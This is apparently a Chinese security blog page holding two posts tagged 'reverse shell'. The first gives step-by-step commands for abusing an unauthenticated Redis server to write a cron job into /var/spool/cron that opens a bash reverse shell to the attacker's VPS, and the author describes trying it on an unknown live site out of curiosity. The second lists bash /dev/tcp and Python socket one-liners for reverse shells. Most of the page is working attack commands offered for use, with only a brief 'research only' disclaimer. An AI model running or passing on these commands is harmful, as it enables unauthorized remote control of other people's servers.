标签 反弹shell 下的文章

Redis未授权访问反弹Shell方法1


思路来自:猪猪侠@乌云(http://www.wooyun.org/bugs/wooyun-2016-0195480)。
本文仅供安全研究,禁止非法使用!!!
先了解命令什么意思再去尝试,别删了别人的数据!

今天碰到一个redis未授权访问,很好奇是什么站就弹shell看看了。
记(zhuang)录(bi)下,老鸟略过吧。错误的地方说下,3Q。

连接redis,需要先安装redis
mac安装redis
brew install redis

常用终端连接redis参数
-p 指定端口
-h host
-a 密码

本地命令行执行下面命令,sss.sss.sss.sss写redis地址,xx.xxx.xx.xx写vps地址,-p指定端口连接,如果默认可以不写-p参数。

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xxx.xx.xx/888 0>&1\n\n"|redis-cli -h sss.sss.sss.sss -p 13000 -x set 1

上面那句命令的意思:echo出bash反弹命令然后写入redis一个新的的字符串。
如下图
1.jpg

然后连接redis,执行如下命令

redis-cli -h xx.xx.xx.xx -p 13000

#修改本地数据库存放目录到计划任务目录
config set dir /var/spool/cron

#指定本地数据库文件名
config set dbfilename root

#同步保存数据到磁盘
save

注意这里写入计划任务,每分钟执行一次。
redis.png

反弹shell成功
fantan.png

crontab -r 清除所有计划任务,不然会一直请求你的vps。谨慎操作,内容太多我只能全部清除计划任务。

exit.jpg


Linux下反弹Shell的常用方法


额,我个人目前只有两种方式反弹shell,暂时没有碰到过奇葩的linux,所以目前只用过两种。

bash弹shell
xx.xx.xx.xx换成你的vps ip,82换成你vps监听的端口

bash -i >& /dev/tcp/xx.xx.xx.xx/82 0>&1       

Python反弹shell
xx.xx.xx.xx换成你的vps ip,82换成你vps监听的端口

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",82));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'